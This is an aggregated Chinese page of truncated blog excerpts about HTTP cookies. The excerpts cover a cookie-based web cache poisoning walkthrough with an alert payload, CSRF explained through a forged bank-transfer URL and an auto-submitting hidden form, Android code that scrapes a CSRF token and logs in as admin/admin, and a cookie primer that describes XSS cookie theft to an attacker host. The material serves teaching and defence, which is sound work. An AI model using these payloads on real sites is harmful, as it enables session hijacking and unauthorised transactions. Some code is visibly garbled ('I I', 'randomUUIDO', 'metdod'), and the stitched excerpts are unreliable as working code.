精华内容
下载资源
问答
  • Web缓存投毒对Cookie处理漏洞攻击实践 Cookies通常用于在响应中动态生成内容。一个常见的示例可能是cookie,它指示用户的首选语言,然后将其用于加载页面的相应版本: GET /blog/post.php?mobile=1 HTTP/1.1 Host: ...

    Web缓存投毒对Cookie处理漏洞攻击实践

    Cookies通常用于在响应中动态生成内容。一个常见的示例可能是cookie,它指示用户的首选语言,然后将其用于加载页面的相应版本:

    GET /blog/post.php?mobile=1 HTTP/1.1
    Host: innocent-website.com
    User-Agent: Mozilla/5.0 Firefox/57.0
    Cookie: language=zh;
    Connection: close
    

    在此示例中,要求提供博客文章的汉语版本。假设缓存键仅包含请求行和 Host 标头。这意味着有关使用哪种语言版本的信息仅包含在 unkeyedCookie 标头中。如果对该请求的响应被缓存,那么所有尝试访问此博客文章的后续用户也将获得汉语版本,无论他们实际选择哪种语言。

    使用Web缓存中毒技术还可以利用缓存对Cookie的这种错误处理。但是实际上,与基于头的缓存中毒相比,这种攻击相对较少。当存在基于cookie的缓存中毒漏洞时,由于合法用户无意中毒了缓存,因此往往可以快速识别并解决它们。

    攻击步骤

    先对浏览器设置bp的代理,然后打开存在漏洞的网站,下面这个就是网站的首页:
    在这里插入图片描述

    然后我们可以在bp中看到我们请求网站的 http history ,下面框住的是我们对网站首页的请求:
    在这里插入图片描述

    下面这张图片是我第一次请求主页的时候发送的数据包,里面没有包含cookie字段:
    在这里插入图片描述

    然后我们刷新一下,在history里面可以看到我们第二次请求的数据包中多了一个cookie字段:
    在这里插入图片描述

    我们把这个数据包发送到repeater模块中重放,观察返回的数据:
    在这里插入图片描述

    可以看到返回的数据,它会把cookie字段中的fehost的值输出到网页中,那么我们就可以通过改变这个值来达到攻击的效果:
    在这里插入图片描述

    我们把cookie字段中的fehost的值从 prod-cache-01 改成 "-alert(1)-" ,之后就可以看到返回的页面中的那个fehost值被控制了:
    在这里插入图片描述

    这时我们去浏览器刷新页面就可以看到浏览器弹出来了一个 1 ,攻击就实现了:
    在这里插入图片描述

    这种攻击是比较危险的攻击,可以攻击到所有访问该网站首页的用户。程序应该对用户的数据进行严格的检查,否则就很容易出现这样的安全问题。

    展开全文
  • cookie验证不安全易遭到CSRF攻击

    千次阅读 2019-08-29 17:08:12
    CSRF攻击的全称是跨站请求伪造( cross site request forgery),是一种对网站的恶意利用,尽管听起来跟XSS跨站脚本攻击有点相似,但事实上CSRF与XSS差别很大,XSS利用的是站点内的信任用户,而CSRF则是通过伪装来自...

    一、CSRF介绍
    CSRF攻击的全称是跨站请求伪造( cross site request forgery),是一种对网站的恶意利用,尽管听起来跟XSS跨站脚本攻击有点相似,但事实上CSRF与XSS差别很大,XSS利用的是站点内的信任用户,而CSRF则是通过伪装来自受信任用户的请求来利用受信任的网站。你可以这么理解CSRF攻击:攻击者盗用了你的身份,以你的名义向第三方网站发送恶意请求。 CRSF能做的事情包括利用你的身份发邮件、发短信、进行交易转账等,甚至盗取你的账号。
    1.1、CRSF攻击原理
    CRSF攻击原理
    首先用户C浏览并登录了受信任站点A;
    登录信息验证通过以后,站点A会在返回给浏览器的信息中带上已登录的cookie,cookie信息会在浏览器端保存一定时间(根据服务端设置而定);
    完成这一步以后,用户在没有登出(清除站点A的cookie)站点A的情况下,访问恶意站点B;
    这时恶意站点 B的某个页面向站点A发起请求,而这个请求会带上浏览器端所保存的站点A的cookie;
    站点A根据请求所带的cookie,判断此请求为用户C所发送的。
    因此,站点A会报据用户C的权限来处理恶意站点B所发起的请求,而这个请求可能以用户C的身份发送 邮件、短信、消息,以及进行转账支付等操作,这样恶意站点B就达到了伪造用户C请求站点 A的目的。
    受害者只需要做下面两件事情,攻击者就能够完成CSRF攻击:

    登录受信任站点 A,并在本地生成cookie;
    在不登出站点A(清除站点A的cookie)的情况下,访问恶意站点B。
    很多情况下所谓的恶意站点,很有可能是一个存在其他漏洞(如XSS)的受信任且被很多人访问的站点,这样,普通用户可能在不知不觉中便成为了受害者。

    1.2、攻击举例
    假设某银行网站A以GET请求来发起转账操作,转账的地址为www.xxx.com/transfer.do?accountNum=l000l&money=10000,参数accountNum表示转账的账户,参数money表示转账金额。
    而某大型论坛B上,一个恶意用户上传了一张图片,而图片的地址栏中填的并不是图片的地址,而是前而所说的砖账地址:
    当你登录网站A后,没有及时登出,这时你访问了论坛B,不幸的事情发生了,你会发现你的账号里面少了10000块…
    为什么会这样呢,在你登录银行A时,你的浏览器端会生成银行A的cookie,而当你访问论坛B的时候,页面上的标签需要浏览器发起一个新的HTTP请求,以获得图片资源,当浏览器发起请求时,请求的却是银行A的转账地址www.xxx.com/transfer.do?accountNum=l000l&money=10000,并且会带上银行A的cookie信息,结果银行的服务器收到这个请求后,会以为是你发起的一次转账操作,因此你的账号里边便少了10000块。
    当然,绝大多数网站都不会使用GET请求来进行数据更新,因此,攻击者也需要改变思路,与时俱进。
    假设银行将其转账方式改成POST提交,而论坛B恰好又存在一个XSS漏洞,恶意用户在它的页面上植入如下代码:

    <form id="aaa" action="http://www.xxx.com/transfer.do" metdod="POST" display="none">
        <input type="text" name="accountNum" value="10001"/>
        <input type="text" name="money" value="10000"/>
    </form>
    <script>
        var form = document.forms('aaa');
        form.submit();
    </script>
    

    如果你此时恰好登录了银行A,且没有登出,当你打开上述页面后,脚本会将表单aaa提交,把accountNum和money参数传递给银行的转账地址http://www.xxx.com/transfer.do,同样的,银行以为是你发起的一次转账会从你的账户中扣除10000块。
    当然,以上只是举例,正常来说银行的交易付款会有USB key、验证码、登录密码和支付密码等一系列屏障,流程比上述流程复杂得多,因此安全系数也高得多。

    总的来说就是:当你当前网站没有退出,而恰好漏洞网站又已你当前网站为漏洞,并添加转账信息或各种增删改查信息等,你的数据就会被篡改,导致不安全

    1.3、CSRF的防御
    1、尽量使用POST,限制GET
    GET接口太容易被拿来做CSRF攻击,看上面示例就知道,只要构造一个img标签,而img标签又是不能过滤的数据。接口最好限制为POST使用,GET则无效,降低攻击风险。
    当然POST并不是万无一失,攻击者只要构造一个form就可以,但需要在第三方页面做,这样就增加暴露的可能性。
    2、将cookie设置为HttpOnly
    CRSF攻击很大程度上是利用了浏览器的cookie,为了防止站内的XSS漏洞盗取cookie,需要在cookie中设置“HttpOnly”属性,这样通过程序(如JavaScript脚本、Applet等)就无法读取到cookie信息,避免了攻击者伪造cookie的情况出现。
    在Java的Servlet的API中设置cookie为HttpOnly的代码如下:
    response.setHeader( “Set-Cookie”, “cookiename=cookievalue;HttpOnly”);
    3、增加token
    CSRF攻击之所以能够成功,是因为攻击者可以伪造用户的请求,该请求中所有的用户验证信息都存在于cookie中,因此攻击者可以在不知道用户验证信息的情况下直接利用用户的cookie来通过安全验证。由此可知,抵御CSRF攻击的关键在于:在请求中放入攻击者所不能伪造的信息,并且该信总不存在于cookie之中。鉴于此,系统开发人员可以在HTTP请求中以参数的形式加入一个随机产生的token,并在服务端进行token校验,如果请求中没有token或者token内容不正确,则认为是CSRF攻击而拒绝该请求。
    假设请求通过POST方式提交,则可以在相应的表单中增加一个隐藏域:

    token的值通过服务端生成,表单提交后token的值通过POST请求与参数一同带到服务端,每次会话可以使用相同的token,会话过期,则token失效,攻击者因无法获取到token,也就无法伪造请求。
    在session中添加token的实现代码:

    HttpSession session = request.getSession();
    Object token = session.getAttribute("_token");
    if(token == null I I "".equals(token)) {
        session.setAttribute("_token", UUID.randomUUIDO .toString());
    }
    

    4、通过Referer识别
    根据HTTP协议,在HTTP头中有一个字段叫Referer,它记录了该HTTP请求的来源地址。在通常情况下,访问一个安全受限的页面的请求都来自于同一个网站。比如某银行的转账是通过用户访问http://www.xxx.com/transfer.do页面完成的,用户必须先登录www.xxx.com,然后通过单击页面上的提交按钮来触发转账事件。当用户提交请求时,该转账请求的Referer值就会是
    提交按钮所在页面的URL(本例为www.xxx. com/transfer.do)。如果攻击者要对银行网站实施CSRF攻击,他只能在其他网站构造请求,当用户通过其他网站发送请求到银行时,该请求的Referer的值是其他网站的地址,而不是银行转账页面的地址。因此,要防御CSRF攻击,银行网站只需要对于每一个转账请求验证其Referer值即可,如果是以www.xx.om域名开头的地址,则说明该请求是来自银行网站自己的请求,是合法的;如果Referer是其他网站,就有可能是CSRF攻击,则拒绝该请求。
    取得HTTP请求Referer:
    String referer = request.getHeader(“Referer”);

    二、总结
    CSRF攻击是攻击者利用用户的身份操作用户帐户的一种攻击方式,通常使用Anti CSRF Token来防御CSRF攻击,同时要注意Token的保密性和随机性。
    并且CSRF攻击问题一般是由服务端解决。
    注:文章大部分内容来源于《大型分布式网站架构 设计与实践》一书。

    展开全文
  • 前言图片加载框架ImageLoader有缓存,获取图片过程中显示不同图片,异步加载等很多便利的功能。通过ImageLoader加载Server端图片十分方便,通过HTTP GET获取时,有时需要client提供一些必要的信息和session才能正常...

    前言

    图片加载框架ImageLoader有缓存,获取图片过程中显示不同图片,异步加载等很多便利的功能。通过ImageLoader加载Server端图片十分方便,通过HTTP GET获取时,有时需要client提供一些必要的信息和session才能正常获取。
    获取的过程也十分简单,在初始化完成ImageLoader之后,调用方法即可,如下:

    ImageLoader.getInstance().displayImage(imageUri,
                        (ImageView) layout.findViewById(R.id.imageItem),
                        options, animateFirstListener);

    但是有些情况下需要client提供一些参数和session,server端通过处理这些参数得到client所需的图片,然后才能正常返回响应图片。
    在含有session_id的http请求,服务器返回200:
    HttpRequest:
    这里写图片描述

    HttpResponse:
    这里写图片描述

    请求头中不含有Cookie:
    HttpRequest:
    这里写图片描述
    HttpResponse:
    这里写图片描述

    这是因为服务端把客户端的用户信息存在了Session域中,如果不带cookie,服务端无法获取到用户信息,被认为是不合法的请求,Server端就不返回响应了(有的Server端也可能出于安全考虑)。

    如何获取session_id

    通过发送httprequest与服务端建立通讯,通过Sever返回的httpresponse的header获取session_id有时候是可行的,但是有些情况下Server端并不保留返回给Client端的Session或者这个Session在服务端存在的时间非常短暂,导致Client端拿着这个Session_id获取图片的时候服务端验证不通过,拒绝响应,这些情况下我们需要模拟一次用户登录,登录成功后服务器会记住用户的session,通过这个session_id就可以正常的获取Server端图片。

    如何模拟用户登录

    通过http post或者get请求,把用户信息传递给Server端,模拟用户登入,但是有些网站为了防止csrf攻击,往往需要用户登入过程提供csrf_token,这个token值一般是用户在访问登入页面时由Server端生成,返回给webclient端登入页面的,一般作为一个隐藏域存在form表单中:

    <form class="oe_login_form" role="form" action="/web/login" method="post" onsubmit="this.action = this.action + location.hash">
        <input name="csrf_token" value="c091f253d41f65f79ed3d6f21f255683d5efa7eao1476672733" type="hidden">
        .....
    </form>

    所以在模拟用户login时一般要抓取登入页面的csrf_token。
    下面是一串Androidclient端的代码:

        private void getSessionInfo()
        {
            HttpHelper.get("/web?db="+Global.DB, new AsyncHttpResponseHandler() {
                @Override
                public void onSuccess(int statusCode, Header[] headers, byte[] responseBody) {
                    HtmlElementUtil.getHeaderSession(headers);
                    String res = new String(responseBody);
                    List<String> result = HtmlElementUtil.match(res,"input","value");
                    if(result == null || result.size() == 0)
                    {
                        return;//如果session没有过期那么就继续使用
                    }
                    RequestParams params = new RequestParams();
                    params.add("csrf_token",result.get(0).replace("/","").replace("\"",""));
                    params.add("db","pos");
                    params.add("login","admin");
                    params.add("password","admin");
                    params.add("redirect","");
                    HttpHelper.post("/web/login",params,new AsyncHttpResponseHandler(){
                        @Override
                        public void onSuccess(int statusCode, Header[] headers, byte[] responseBody) {
                            HtmlElementUtil.getHeaderSession(headers);
                        }
    
                        @Override
                        public void onFailure(int statusCode, Header[] headers, byte[] responseBody, Throwable error) {
                            String res = new String(responseBody);
                        }
                    });
                }
    
                @Override
                public void onFailure(int statusCode, Header[] headers, byte[] responseBody, Throwable error) {
    
                }
            });
        }

    注:
    HttpHelper是一个基于async-http的工具类。
    web/db是服务端的数据库选择页面,服务端会通过临时session判断是否选择数据库,如果没有选择,会强制跳转到数据库选择页面。
    跳转到登录页面之后,HtmlElementUtil.match(res,”input”,”value”)方法时自定义方法大致就是正则匹配所有的input标签,获取所有的value值(是一个list),通过value(list中包含csrf_token的值)便可以获取csrf_token。登入成功后通过HtmlElementUtil.getHeaderSession(headers)静态方法,从Server返回的Header数组中Cookie:session_id键值对获取session_id。

    自定义ImageLoader请求头

    //ImageLoader的初始化方法,ImageLoader采用单例模式,只需要初始化一次
    private void InitiateImgLoaderOpt() {
            ImageLoaderConfiguration.Builder config = new ImageLoaderConfiguration.Builder(getApplicationContext());
            config.threadPriority(Thread.NORM_PRIORITY - 2);
            config.denyCacheImageMultipleSizesInMemory();
            config.diskCacheFileNameGenerator(new Md5FileNameGenerator());
            config.diskCacheSize(50 * 1024 * 1024); // 50 MiB
            config.tasksProcessingOrder(QueueProcessingType.LIFO);
            config.writeDebugLogs(); // Remove for release app
            config.imageDownloader(new ImageDownloader(this));
            // Initialize ImageLoader with configuration.
            ImageLoader.getInstance().init(config.build());
        }
    
    public class ImageDownloader extends BaseImageDownloader {
        public ImageDownloader(Context context) {
            super(context);
        }
    //ImageLoader图片加载httprequest设置方法
        @Override
        protected HttpURLConnection createConnection(String url, Object extra) throws IOException {
            // Super...
            HttpURLConnection connection = super.createConnection(url, extra);
            connection.setRequestProperty("Cookie", Global.SESSION_ID);
            connection.setRequestProperty("Connection", "keep-alive");
            return connection;
        }
    }
    
    //此代码设置Android view视图中的图片,animateFirstListener是加载状态的监听器
    ImageLoader.getInstance().displayImage(imageUri,
                        (ImageView) layout.findViewById(R.id.imageItem),
                        options, animateFirstListener);
    
    //通过复写监听器类的onLoadingStarted,onLoadingFailed,onLoadingComplete,onLoadingCancelled方法设置对应显示的图片
     private static class AnimateFirstDisplayListener extends SimpleImageLoadingListener {
    
            static final List<String> displayedImages = Collections.synchronizedList(new LinkedList<String>());
    
            @Override
            public void onLoadingComplete(String imageUri, View view, Bitmap loadedImage) {
                if (loadedImage != null) {
                    ImageView imageView = (ImageView) view;
                    boolean firstDisplay = !displayedImages.contains(imageUri);
                    if (firstDisplay) {
                        FadeInBitmapDisplayer.animate(imageView, 500);
                        displayedImages.add(imageUri);
                    }
                }
            }
            @Override
            public void onLoadingFailed(String imageUri, View view, FailReason failReason) {
                String re = failReason.toString();
            }
        }

    其中的自定义类ImageDownloader就是ImageLoader加载网络图片的http请求的构造器,此类需要继承BaseImageDownloader。通过复写基类的createConnection方法,在方法体重创建HttpURLConnection(图片请求连接)设置获取到的Cookie(Session_id),便可以正常加载Server端图片。

    展开全文
  • cookie

    千次阅读 2018-09-17 10:27:54
    HTTP Cookie: Cookie通常也叫做网站cookie,浏览器...Cookie不是软件,所以它不能被携带病毒,不能执行恶意脚本,不能在用户主机上安装恶意软件。但它们可以被间谍软件用来跟踪用户的浏览行为。所以近年来,已经...

    HTTP Cookie:
    Cookie通常也叫做网站cookie,浏览器cookie或者http cookie,是保存在用户浏览器端的,并在发出http请求时会默认携带的一段文本片段。它可以用来做用户认证,服务器校验等通过文本数据可以处理的问题。
    Cookie不是软件,所以它不能被携带病毒,不能执行恶意脚本,不能在用户主机上安装恶意软件。但它们可以被间谍软件用来跟踪用户的浏览行为。所以近年来,已经有是欧洲和美国的一些律师以保护用户隐私之名对cookie的种植宣战了。更严重的是,黑客可以通过偷取Cookie获取受害者的帐号控制权。

    2.Cookie的类别
    a.Session Cookie
    这个类型的cookie只在会话期间内有效,即当关闭浏览器的时候,它会被浏览器删除。设置session cookie的办法是:在创建cookie不设置Expires即可。
    b.Persistent Cookie
    持久型cookie顾名思义就是会长期在用户会话中生效。当你设置cookie的属性Max-Age为1个月的话,那么在这个月里每个相关URL的http请求中都会带有这个cookie。所以它可以记录很多用户初始化或自定义化的信息,比如什么时候第一次登录及弱登录态等。
    c.Secure cookie
    安全cookie是在https访问下的cookie形态,以确保cookie在从客户端传递到Server的过程中始终加密的。这样做大大的降低的cookie内容直接暴露在黑客面前及被盗取的概率。
    d.HttpOnly Cookie
    目前主流的浏览器已经都支持了httponly cookie。1.IE5+ 2.Firefox 1.0+ 3.Opera 8.0+ 4.Safari/Chrome。在支持httponly的浏览器上,设置成httponly的cookie只能在http(https)请求上传递。也就是说httponly cookie对客户端脚本语言(javascript)无效,从而避免了跨站攻击时JS偷取cookie的情况。当你使用javascript在设置同样名字的cookie时,只有原来的httponly值会传送到服务器。
    e.3rd-party cookie
    第一方cookie是cookie种植在浏览器地址栏的域名或子域名下的。第三方cookie则是种植在不同于浏览器地址栏的域名下。例如:用户访问a.com时,在ad.google.com设置了个cookie,在访问b.com的时候,也在ad.google.com设置了一个cookie。这种场景经常出现在google adsense,阿里妈妈之类的广告服务商。广告商就可以采集用户的一些习惯和访问历史。
    f.Super Cookie
    超级cookie是设置公共域名前缀上的cookie。通常a.b.com的cookie可以设置在a.b.com和b.com,而不允许设置在.com上,但是很不幸的是历史上一些老版本的浏览器因为对新增后缀过滤不足导致过超级cookie的产生。


    e.Zombie Cookie
    僵尸cookie是指那些删不掉的,删掉会自动重建的cookie。僵尸cookie是依赖于其他的本地存储方法,例如flash的share object,html5的local storages等,当用户删除cookie后,自动从其他本地存储里读取出cookie的备份,并重新种植。
    3.Cookie用途
    a.会话管理
    1.记录用户的登录状态是cookie最常用的用途。通常web服务器会在用户登录成功后下发一个签名来标记session的有效性,这样免去了用户多次认证和登录网站。
    2.记录用户的访问状态,例如导航啊,用户的注册流程啊。
    b.个性化信息
    1.Cookie也经常用来记忆用户相关的信息,以方便用户在使用和自己相关的站点服务。例如:ptlogin会记忆上一次登录的用户的QQ号码,这样在下次登录的时候会默认填写好这个QQ号码。
    2.Cookie也被用来记忆用户自定义的一些功能。用户在设置自定义特征的时候,仅仅是保存在用户的浏览器中,在下一次访问的时候服务器会根据用户本地的cookie来表现用户的设置。例如google将搜索设置(使用语言、每页的条数,以及打开搜索结果的方式等等)保存在一个COOKIE里。

    c.记录用户的行为
    最典型的是公司的TCSS系统。它使用Cookie来记录用户的点击流和某个产品或商业行为的操作率和流失率。当然功能可以通过IP或http header中的referrer实现,但是Cookie更精准一些。

    4. Cookie的实现
    Cookie是web server下发给浏览器的任意的一段文本,在后续的http 请求中,浏览器会将cookie带回给Web Server。同时在浏览器允许脚本执行的情况下,Cookie是可以被JavaScript等脚本设置的。
    a. 如何种植Cookie

    http方式:以访问http://www.webryan.net/index.php为例
    Step1.客户端发起http请求到Server

    GET /index.php HTTP/1.1
    Host: www.webryan.net
    (这里是省去了User-Agent,Accept等字段)

    Step2. 服务器返回http response,其中可以包含Cookie设置

    HTTP/1.1 200 OK
    Content-type: text/html
    Set-Cookie: name=value
    Set-Cookie: name2=value2; Expires=Wed, 09 Jun 2021 10:18:14 GMT
    (content of page)

    Step3. 后续访问webryan.net的相关页面

    GET /spec.html HTTP/1.1
    Host: www.webryan.net
    Cookie: name=value; name2=value2
    Accept: */*

    需要修改cookie的值的话,只需要Set-Cookie: name=newvalue即可,浏览器会用新的值将旧的替换掉。

    脚本方式种植 Cookie:
    JavaScript或类似的寄宿在浏览器中的脚本语言也可以设置Cookie。在JavaScript里,可以通过document.cookie对象实现。例如:
    document.cookie = “key=newvalue”;
    b. Cookie属性
    除了name=value对以外,我们还可以设置Cookie其他属性以支持更丰富的Cookie需求,这些属性通常是浏览器用来判断如何对待cookie,何时删除、屏蔽或者如何发送name-value对给Server。也就是说无论我们设置了某个cookie的多少属性,这些Cookie属性是不会被浏览器发送回给Server的。
          a) Domain and Path
         作用:定义Cookie的生效作用域,只有当域名和路径同时满足的时候,浏览器才会将Cookie发送给Server。如果没有设置Domain和Path的话,他们会被默认为当前请求页面对应值。 举例如下:

    提问下:第一个和第三个Cookie有啥不一样??
    结论:浏览器优先匹配domain,而对于Path字段则是以匹配的方式进行判断。
    对于 1.http://docs.foo.com/accounts/index.html
            2.http://docs.foo.com/accountstest.html
                1.会带上Cookie1,2,3; 2会带上1,2
    b) Expires and Max-Age
    作用:设置浏览器何时删除Cookie
    Expires的规定格式是:“Wdy, DD-Mon-YYYY HH:MM:SS GMT”。
    相对于Expires的精准的时间设置,在RFC 2965中规范提供了一个替代方案:Max-Age:seconds,来设置cookie在设置后多长秒后失效。

    Set-Cookie: lu=Rg3vHJZnehYLjVg7qi3bZjzg; expires=Tue, 15-Jan-2013 21:47:38 GMT; path=/; domain=.foo.com; httponly
    Set-Cookie: made_write_conn=1295214458; path=/; domain=.foo.com
    Set-Cookie: reg_fb_gate=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/; domain=.foo.com; httponly

    第一个Cookie: 过期时间是2013年1月15日的精确时间;
    第二个:没有设置过期时间,为Session cookie.
    第三个:删除Cookie

    C) Secure and HttpOnly
    作用:设置Cookie的安全属性
    特质:Secure和HttpOnly都是没有value字段的。
    Secure字段告诉浏览器在https通道时,对Cookie进行安全加密,这样即时有黑客监听也无法获取cookie内容。
    HttpOnly字段告诉浏览器,只有在HTTP协议下使用,对浏览器的脚本不可见,所以跨站脚本攻击时也不会被窃取。 从前面例子可以看到Google和Facebook都在使用HttpOnly的Cookie。
    5. 浏览器相关
    a) Cookie规范规定浏览器最少支持300个cookie,每个cookie 4kb;每个域名最少20个cookie。
    b) 浏览器都支持删除和禁用cookie
    c) 在浏览器地址栏输入:javascript:alert(document.cookie)可以看到所有cookie
    d) 默认情况下,IE浏览器仅支持设置有P3P “CP” (Compact Policy) 标记的第三方Cookie.

    测试方法:
    javascript:for(var i=0;i<100;i++){document.cookie=’cookiename’+i+’=1aaa;’}document.cookie=’test=asdf;’;alert(document.cookie)
    测试结论:ie8:每个域名50个,firefox:每个域名150个;chrome:每个域名170个;ie6、ie7:20个

    测试方法:
    javascript:var arr=[],i=5112;while(i){i–;arr.push(‘i’)}document.cookie=’test=’+arr.join(”)+’;';alert($.cookie.get(‘test’).length)
    测试结论:
    ie8:5112+5 = 5117
    但最多10个大字段。字段内容多了的话,导致服务器无法响应。

    6.Cookie窃取及会话劫持(hijacking)
    相对很多Session验证方法的缺点和不足,大多数网站都是把Cookie当作用户的唯一标识。在这种情况下,黑客以可以通过窃取用户的cookie来模拟用户的请求行为,但对于服务器来说是无法辨别到底是来自用户还是黑客的。
    下面给出Cookie作为用户标识的风险和安全隐患:
    a. 网络监听

    在网络上传输的数据都是会被监听获取的,尤其是在公共的、非加密的网络环境(free wifi)。这些数据也包括常规的http(非https加密通道)所有session,也包括HTTP 会话里的Cookie。当黑客拿到明文的cookie之后就可以模拟用户操作,比如改密码、消费等行为。
    解决这个问题的最根本方法是采取https协议,通过SSL通道对内容及cookie进行加密。此外还有一些二次保护的方法可以作为过渡和折中。

    b. DNS cache异常及其他     DNS域名服务器
    通过DNS cache或者DNS服务商的一些漏洞问题(www.baidu.com),黑客可以通过将www.baidu.com的子域名hack.www.baidu.com指向到黑客自己的IP。这样黑客就可以通过方式http://hack.www.baidu.com/a.png图片到公共环境,从而可以获取到baidu.com下的所有cookie,包括设置了HttpOnly属性的Cookie。
    解决办法:1.减少dns无效配置 2.ISP服务商加强自我安全管理。3.通过HTTPS请求对请求进行加密和授权,这样黑客很难从凭证管理中心获得认证,那么用户在操作的时候会收到明显的提示。

    c. 跨站脚本XSS—窃取Cookie

    由于JavaScript等脚本语言可以读取页面文档内的Cookie值,同时又可以向任意服务器发出任意的请求。综合起来,黑客可以通过脚本将当前文档下的cookie据为己有。如果黑客使用的地址是https://attacker.com/stole.cgi,那么Secure Cookie也将以明文的方式发送个attacker.com.

    跨站脚本是web安全永久不变的话题。Web开发者有责任去过滤掉恶意代码。同时,HttpOnly Cookies不可以被客户端脚本读取,这就大大降低了Cookie被盗取的风险。

    d. 跨站脚本XSS—hijacking
    当黑客可以在www.test.com上插入一段JS脚本的话,那么没有禁用JS的用户很轻易的会收到hijacking攻击。黑客利用用户的浏览器来发出HTTP请求到test.com本身,所以与用户相关的所有cookie都会存在(包括HttpOnly和Secure Cookie)。例如:人人网发生的分享蠕虫。
    对于这种攻击,除了避免跨站脚本漏洞以外,可以采取验证码的方式进行一定程度上的规避。

    e. 跨站脚本XSS—代理请求
    老版本的浏览器允许用户使用XMLHttpRequest发出代理请求,黑客可以通过设置代理将本地的cookie全量的发给代理服务器,再从代理服务器转发给原始服务器。当然这是很快被禁止了。
    f. 跨站请求伪造—CSRF
    CSRF主要是黑客将伪造的请求URL放到一个图片或者其他静态资源里,这种成本极低,且传播性和形象力非常大。
    举例:Qzone的签名的修改地址是:http://qzone.qq.com/cgi-bin/modify?nick=123
    那么黑客将其并放到流量很大的论坛或者博客里。那么很多人就在不知情的情况下就执行了某些操作。

    7. Cookie的缺点和不足
    a) 被讨论最多的就是隐私问题
    b) Cookie引入的各种安全问题
    c) 与REST软件架构相背离。
    d) 状态不一致,后退导致cookie不会重置。
    c) 过多使用到是HTTP请求流量浪费

    8.Cookie的取代方案
    a) window.name
    当前所有浏览器都能通过DOM结构中的window.name存储2-32MB的数据。同时window.name是跨域名,但是只能是在当前tab里使用,每个tab初始化后都是有个空的window.name。Window.name是可以传递对象的,所以我们通过将数据保存在json里进行传递和存储。
    由于window.name不通过网络传送,所以不会存在被窃取的风险。同时所以从某种角度通过window.name进行用户行为分析更为合理,同时又不会像cookie一样引来http流量消耗
    b.)Internet Explorer userData storage (starting IE9, userData is no longer supported)

    支持:IE5-IE8
    使用:
     或者,通过脚本来设置:
    object.style.behavior = “url(‘#default#userData’)”
    object.addBehavior (“#default#userData”)
    数据:
    在XP下,一般位于C:\Documents and Settings\用户名\UserData,有些时候会在C:\Documents and Settings\用户名\Application Data\Microsoft\Internet Explorer\UserData。
    在Vista下,位于C:\Users\用户名\AppData\Roaming\Microsoft\Internet Explorer\UserData
    属性:expires 设置或者获取 userData behavior 保存数据的失效日期,不设置则为永久。
    var store = document.documentElement;
    store.addBehavior(‘#default#userdata’);
    var STORE_NAME = ‘my_userdata’;
    store.save(STORE_NAME);
    store.setAttribute(‘a’, 123);
    store.save(STORE_NAME);
    store.load(STORE_NAME);
    store.getAttribute(‘a’);
    store.removeAttribute(‘a’);
    store.save(STORE_NAME);
    c)HTML5特性
    • HTML5 Session Storage
    • HTML5 Local Storage
    • HTML5 Global Storage
    • HTML5 Database Storage via SQLite
    • Storing cookies in RGB values of auto-generated, force-cached PNGs using HTML5 Canvas tag to read pixels (cookies) back out
    • Local Shared Objects (Flash Cookies)
    • Silverlight Isolated Storage
    d)Flash Shared Object
    存在Flash的用户目录
    依赖于flash的安装
    使用数据量大100k,超过的需要用户允许
    简单操作
    var so:SharedObject = SharedObject.getLocal(key);
    so.data.value = value;//return so.data.value

    其他相关
    RFC2109:
    1.声明新增了Set-Cookie和Cookie两个HTTP头
    2.延续使用HTTP/1.1的attribute-value对
    3.Server可以在任意HTTP Header中设置cookie
    4.Server可以设置多个Set-Cookie头
    严格之处:
    1.User Agent设置domain必须满足以.开头,且y.x.qq.com不能设置到.qq.com上
    2.User Agent给服务器的是完整的Cookie
    3.Netscape支持 Expires,协议支持max-age:
    域名限制:
    1.rfc要求
    * at least 300 cookies
    * at least 4096 bytes per cookie (as measured by the characters
    that comprise the cookie non-terminal in the syntax description
    of the Set-Cookie2 header, and as received in the Set-Cookie2
    header)
    * at least 20 cookies per unique host or domain name

    展开全文
  • Cookie

    2007-11-27 09:53:00
    cookie 目录·用途·生存周期·识别功能·偷窃Cookie和脚本攻击·Cookies的替代品·cookie的具体含义另请参阅Cookies。 Cookie正在校对翻译,欢迎您积极校对与修订。原文在。Cookie,有时也用其复数形式Cookies,指...
  • XSS跨站脚本攻击介绍 跨站脚本攻击英文全称为(Cross site Script)缩写为 CSS,但是为了和层叠样式表(Cascading Style Sheet)CSS 区分开来,所以在安全领域跨站脚本攻击叫做 XSS XSS 攻击简介 XSS 攻击通常指...
  • 跨站脚本攻击利用HTTP控件发送COOKIE

    千次阅读 2008-04-03 00:17:00
    跨站脚本攻击想必各位都已经是很熟悉了,但是得到COOKIE的时候一直有一个问题: 总是要用WINDOW.OPEN弹一个窗体出来然后发送COOKIE,这样隐秘性就大打折扣了。以前我想了一个在网页中用insertAdjacentHTML方法来注入...
  • cookie详解

    万次阅读 多人点赞 2018-03-06 22:37:50
    cookie是一种最原始也最简单的客户端存储方式,几乎所有的网站的都有使用cookie,各有各的用途,看到这篇文章的不少人也是都是使用过cookie的人同学吧,但是我们反问下自己,我们真的懂cookie了吗?我自己创建了一个...
  • cookie

    千次阅读 2009-06-08 10:42:00
    cookie 另请参阅Cookies。 Cookie,有时也用其复数形式Cookies,指某些网站为了辨别用户身份、进行session跟踪而储存在用户本地终端上的数据(通常经过加密)。定义于RFC2109(已废弃),最新取代的规范是RFC2965。...
  • XSS又称CSS,全称Cross SiteScript,跨站脚本攻击,是Web程序中常见的漏洞,XSS属于被动式且用于客户端的攻击方式,所以容易被忽略其危害...如,盗取用户Cookie、破坏页面结构、重定向到其它网站等。 XSS攻击  
  • 图片攻击-BMP图片中注入恶意JS代码

    千次阅读 2015-05-05 09:31:40
    throung images》,里面介绍了如何在BMP格式的图片里注入JS代码,使得BMP图片既可以正常显示, 也可以运行其中的JS代码,觉得相当有趣。   执行JS注入的脚本 关键:构造符合正常BMP格式的图片   步骤 1. ...
  • HTTP cookie

    2014-07-22 12:02:01
    细说Cookie 阅读目录 · 开始 · Cookie 概述 · Cookie的写、读过程 · 使用Cookie保存复杂对象 · Js中读写Cookie · Cookie在Session中的应用 · Cookie在身份验证中的应用 · Cookie的安全...
  • Cookie起源与发展

    千次阅读 多人点赞 2019-07-17 18:21:43
    上一篇我们在讲优酷弹幕爬虫的时候,引入了一个新的知识点:Cookie,由于篇幅有限当时只是简单的给大家介绍了一下它的作用,今天我们就来全面了解一下Cookie(小饼干)以及相关的知识! 相信很多同学肯定听过Cookie...
  • cookie安全

    2017-12-13 10:57:45
